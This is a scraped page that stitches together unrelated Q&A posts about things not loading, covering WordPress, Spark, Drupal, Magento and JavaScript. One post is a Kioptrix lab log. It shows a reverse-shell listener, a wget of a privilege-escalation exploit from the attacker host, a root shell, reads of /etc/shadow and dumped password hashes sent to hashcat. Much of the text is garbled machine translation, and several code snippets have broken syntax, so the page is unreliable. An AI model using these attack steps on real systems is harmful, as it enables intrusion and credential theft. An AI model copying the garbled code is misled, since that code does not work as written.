All Titles and Menus changed to “CHILD THEME LOADED”

I’m testing out a theme update on our website using a staged site created by WPStaging. That part seemed to work well. Then I upgraded the theme, created a child theme from it, and applied that child them to it. Now the title of every post, page, and even menu is “CHILD THEME LOADED” (see below). Yet when I edit a page or a post, the correct title is still there (in fact everything about the page or post looks correct in the editor). Any ideas?

Example

hashcat: No hashes loaded – Information Security Stack Exchange

I’ve been trying Kioptrix: Level 1.1 (#2) and managed to get root access.
https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

wolf@linux:~$ nc -vklp 8080
listening on (any) 8080 ...
10.10.10.10: inverse host lookup failed: Unknown host
connect to (10.10.10.99) from (UNKNOWN) (10.10.10.10) 32795

id
uid=48(apache) gid=48(apache) groups=48(apache)

cd /tmp
wget http://10.10.10.99/privesc.c
ls
privesc.c
gcc privesc.c -o privesc
./privesc

id
uid=0(root) gid=0(root) groups=48(apache)

cat /etc/passwd
cat /etc/shadow

unshadow file = md5.txt

wolf@linux:~$ cat md5.txt 
root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:0:0:root:/root:/bin/bash
john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:500:500::/home/john:/bin/bash
harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:501:501::/home/harold:/bin/bash
wolf@linux:~$ 

However, I’m having a problem sending the unshadow file md5.txt to hashcat.

Any idea what’s wrong with this?

wolf@linux:~$ hashcat -m 0 -a 0 md5.txt rockyou.txt
hashcat (v4.0.1) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

OpenCL Platform #1: NVIDIA Corporation
======================================

Hashfile 'md5.txt' on line 1 (root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:0:0:root:/root:/bin/bash): Line-length exception
Hashfile 'md5.txt' on line 2 (john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:500:500::/home/john:/bin/bash): Line-length exception
Hashfile 'md5.txt' on line 3 (harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:501:501::/home/harold:/bin/bash): Line-length exception
Parsing Hashes: 0/3 (0.00%)...No hashes loaded.

Started: Mon May 25 01:17:21 2020
Stopped: Mon May 25 01:17:21 2020
wolf@linux:~$ 

Update

I’ve also tried with md5 hash only instead of unshadow file, but still didn’t work.

md5 hash only

wolf@linux:~$ cat md5only.txt 
$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.
$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1
$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1
wolf@linux:~$ 

Still getting the same Line-length exception, (0.00%)...No hashes loaded error.

wolf@linux:~$ hashcat -m 0 -a 0 md5only.txt rockyou.txt
hashcat (v4.0.1) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

OpenCL Platform #1: NVIDIA Corporation
======================================

Hashfile 'md5only.txt' on line 1 ($1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.): Line-length exception
Hashfile 'md5only.txt' on line 2 ($1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1): Line-length exception
Hashfile 'md5only.txt' on line 3 ($1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1): Line-length exception
Parsing Hashes: 0/3 (0.00%)...No hashes loaded.

Started: Mon May 25 03:10:03 2020
Stopped: Mon May 25 03:10:03 2020
wolf@linux:~$ 

java – Spark-Submit Custom Jar on Kubernetes fails with: class could not be loaded

I can't run a custom Spark application on Kubernetes.

I followed the setup https://spark.apache.org/docs/latest/running-on-kubernetes.html and followed the steps below for example: https://towardsdatascience.com/how-to-build-spark- Von -Source-and-deploy-to-a-Kubernetes-Cluster-in-60-minutes-225829b744f9 and I can run the Spark-Pi example.

I even recreated the Spark image and it contains my xxx.jar in / opt / spark / examples / jars and / opt / spark / jars, but I still get the problem that the class cannot be loaded. Any ideas what I may have missed. This is particularly confusing for me because I checked that the glass right next to the sample glasses is part of the picture and they are working properly.

I run Spark Submit like this.

bin / spark-submit –master k8s: // https: // localhost: 6443
–deploy-mode cluster
–conf spark.executor.instances = 3
–conf spark.kubernetes.authenticate.driver.serviceAccountName = spark
–conf spark.kubernetes.container.image = spark2: latest
–conf spark.kubernetes.container.image.pullPolicy = Never
–class com.xxx.Application
–name myApp
local: ///opt/spark/examples/jars/xxx.jar

Thank you so much!

8 – Data from cookies cannot be loaded until the cache has been cleared

In my Drupal application I set some cookies using a Javascript onClick method.

However, I can only access the data if I manually delete the cache (admin / config / development / performance / clear cache).

Is there any way to clear the cache in the topic preprocessing function?

So I set cookies

$('.icons .fa-heart-o').on('click', function(){
    z.push($(this).data("nid"));
    setCookie("fav_nids", z, 5);
});

function setCookie(cname, cvalue, exdays) {
  console.log(z);
  var d = new Date();
  d.setTime(d.getTime() + (exdays*24*60*60*1000));
  var expires = "expires="+ d.toUTCString();
  document.cookie = cname + "=" + z + ";" + expires + ";path=/";
}

and retrieve them in my preprocessing function,

function themename_preprocess_node__wishlist(&$variables){

    /*$cache_tags = $variables('entity')->getCacheTags();
    DrupalCoreCacheCache::invalidateTags($cache_tags);*/

    drupal_flush_all_caches();  //To clear all cache or

    $renderCache = Drupal::service('cache.render');
    $renderCache->invalidateAll(); 

    $variables('#cache')('contexts')() = 'url.path';

    $cookie_name = 'fav_nids';

    if(!isset($_COOKIE($cookie_name))) {

      $wishlist_count = 0;
      $variables('wishlist_empty') = "No items in the wishlist";

    } else {

        $cookie_value = $_COOKIE($cookie_name);
        $wishlist_data = explode(" ",$cookie_value);
        $wishlist_nodes = Drupal::entityTypeManager()->getStorage('node')->loadMultiple($wishlist_data);

        foreach ($wishlist_nodes as $node){
            $variables('wishlist_nodes_data')() = $node;
        }

      //echo "
"; var_dump($variables('wishlist_nodes_data')); exit;
    }

}

I've tried a couple of ways to clear the cache in preprocessing, but nothing works unless the cache is cleared manually, and that's not ideal at all.

Any help appreciated. TIA.

Windows resources are not loaded into browsers on a particular computer even though the server is responding

I have several websites (all of which are broadcast backwards on the same server) that cannot load properly on one of my computers.

This particular case can be reproduced every time a single JS file remains "pending" in the Chrome developer tool, although Fiddler indicates that the request was completed with the correct headers and responses.

I tried the following:

  • Incognito tab
  • Firefox, Edge, Internet Explorer
  • All VLANs removed from my computer
  • complete removal and reinstallation of the network drivers

If I try another computer, it works fine even though both computers have the same browser extensions and the same antivirus, and both are running a recent installation of Windows 10.

These are the headers with which the server responds (as shown in Fiddler):

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 03 May 2020 13:22:52 GMT
Content-Type: application/javascript
Content-Length: 577367
Last-Modified: Wed, 15 Apr 2020 21:18:39 GMT
Connection: keep-alive
ETag: "5e977a2f-8cf57"
Accept-Ranges: bytes

What other steps can I try to debug and localize this issue?

magento2 – Load custom module JS when all content is loaded into checkout

I created a custom module to display suggested addresses when the customer enters the address fill. However, the requests are loaded before the checkout page loads, even though I say "domReady!"

How can I load the script after everything has loaded?

checkout.phtml

getClientID ();
$ client_secret = $ block-> getClientSecret ();
?>
isEnabled ()):?>


addressfinder.js

define((
'jquery',
'domReady!',
'./checkout_mapping'), function($, domReady, data) {
"use strict";
return function(config) {
//my code
}
});

Javascript – How can I deactivate the "Back" button when the form is loaded in edit mode?

You can either use that window.onbeforeunload or window.addEventListener('beforeunload'.. to notify users that they will lose their jobs if they navigate away from the page. Details here:

window.addEventListener('beforeunload', function (e) {
  // Cancel the event
  e.preventDefault(); // If you prevent default behavior in Mozilla Firefox prompt will always be shown
  // Chrome requires returnValue to be set
  e.returnValue = '';
});

Or use the following solution as described in this post:

(function (global) { 

    if(typeof (global) === "undefined") {
        throw new Error("window is undefined");
    }

    var _hash = "!";
    var noBackPlease = function () {
        global.location.href += "#";

        // making sure we have the fruit available for juice (^__^)
        global.setTimeout(function () {
            global.location.href += "!";
        }, 50);
    };

    global.onhashchange = function () {
        if (global.location.hash !== _hash) {
            global.location.hash = _hash;
        }
    };

    global.onload = function () {            
        noBackPlease();

        // disables backspace on page except on input fields and textarea..
        document.body.onkeydown = function (e) {
            var elm = e.target.nodeName.toLowerCase();
            if (e.which === 8 && (elm !== 'input' && elm  !== 'textarea')) {
                e.preventDefault();
            }
            // stopping event bubbling up the DOM tree..
            e.stopPropagation();
        };          
    }

})(window);

Working demo as created by the user from the above post.

Placeholder text for Ajax loaded conditional fields in the registration form

I use the following link to the post provided by @ maruti-mohanty
It works very well, the fields have placeholders, but I have conditional fields (Ajax loaded) that, when they appear, do not contain any placeholder text. Can I add something to functions.php so that conditional fields can also have placeholders?

First you need to create a js file. I created and named it in the js folder of my active topic custom.js

Then add the following line to this file.

/**
 * Custom js file.
 */

jQuery(document).ready(function(){
    jQuery('#user_login').attr('placeholder', 'User Name');
    jQuery('#user_email').attr('placeholder', 'User Email');
    jQuery('#user_pass').attr('placeholder', 'User Password');
});

The above field adds placeholders as user name, user email and user password to the input fields user_login, user_email and user_pass. You can change them according to your requirements.

Now you need to add / queue this js file. You can do this by pasting the following code into your active topic functions.php

add_action( 'login_enqueue_scripts', 'wpse_login_enqueue_scripts', 10 );
function wpse_login_enqueue_scripts() {
    wp_enqueue_script( 'custom.js', get_template_directory_uri() . '/js/custom.js', array( 'jquery' ), 1.0 );
}

8 – The "content type" of a current page must be transferred to a node.html.twig template (for a different content type) when the page is loaded AND after an Ajax call

I'm trying to get the content type value of a node page (which the user is currently visiting – let's call it CT-1) … and enter this value as a variable in the node.html.twig template of a DIFFERENT content type (CT-2). This CT-2 template is used in a view output that is displayed on a CT-1 page. Here is my code …

function custom_mods_preprocess_node(array &$variables, $hook) {
   if ($node = Drupal::request()->attributes->get('node')) {
     $variables('pageNodeType') = $node->getType();
   }
 }

Then I print the variable pageNodeType into the node.html.twig template from CT-2 as follows …

{% if pageNodeType == 'TYPE' %}
TEST
{% endif %}

All of this works perfectly when the page loads. However, if the view output is filtered with AJAX (through an exposed filter), pageNodeType becomes NULL, and therefore the "if statement" breaks with the CT-2 template.

What can I do to keep this variable active after an Ajax update?

I tried to use ..

Drupal::request()->headers->get('referer');

..to pull the previous page, but it seemed quite a task to get the content type through this approach. Is there a better way?

Thanks a lot!!